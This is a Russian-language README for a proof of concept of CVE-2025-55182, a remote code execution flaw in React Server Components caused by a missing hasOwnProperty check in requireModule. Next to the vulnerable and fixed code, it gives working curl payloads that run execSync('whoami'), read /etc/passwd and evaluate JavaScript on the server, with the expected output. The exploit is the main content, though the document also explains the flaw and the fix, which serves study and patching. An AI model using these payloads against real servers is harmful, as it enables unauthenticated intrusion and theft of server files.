
реалистичный POC, демонстрирующий отсутствующую проверку `hasOwnProperty` в [email protected]
Минимальная proof of concept, демонстрирующая критическую уязвимость удаленного выполнения кода в [email protected].
Уязвимость RCE без аутентификации в React Server Components, позволяющая атакующим выполнять произвольный код на серверах, использующих уязвимый пакет react-server-dom-webpack (версии 19.0.0 - 19.2.0).
Оценка CVSS: 10 (Критический)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnPropertyУязвимость существует в функции requireModule в реализации протокола Flight от React. Эта функция загружает экспортируемые модули на основе метаданных, полученных из запросов клиентов.
Уязвимый код ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- Без проверки!
}
Проблема: metadata[NAME] поступает из пользовательского ввода (HTTP-запроса). Злоумышленник может указать любой модуль и имя экспорта, например child_process#execSync.
Исправленный код ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// ИСПРАВЛЕНО: Проверяем, что экспорт действительно существует
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
Исправление добавляет hasOwnProperty.call(), чтобы гарантировать, что запрошенный экспорт является собственным свойством модуля, а не унаследован от цепочки прототипов или динамически разрешим в опасные модули.
$ACTION_REF_0 и $ACTION_0:0$ACTION_0:0 содержит {"id":"child_process#execSync","bound":["whoami"]}decodeAction разбирает это и вызывает requireModule с контролируемыми злоумышленником метаданнымиrequireModule возвращает require('child_process').execSynccd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
Ожидаемый вывод:
{"success":true,"result":"your-username\n"}
# Чтение файлов
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Выполнение JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeActionHTTP-запрос
│
▼
┌──────────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Парсит $ACTION_REF_0 для поиска ссылки на действие │
│ - Парсит $ACTION_0:0 для получения {id, bound} │
└──────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (контролируется злоумышленником)│
│ - bound = ["whoami"] (контролируется злоумышленником) │
└──────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Разделяет "child_process#execSync" на: │
│ specifier = "child_process" │
│ name = "execSync" │
└──────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [УЯЗВИМО] │
│ - Загружает require("child_process") │
│ - Возвращает moduleExports["execSync"] │
│ - НЕТ ПРОВЕРКИ, что "execSync" должен быть доступен │
└──────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → ВЫПОЛНЯЕТ "whoami" НА СЕРВЕРЕ │
└──────────────────────────────────────────────────────────────────┘
MIT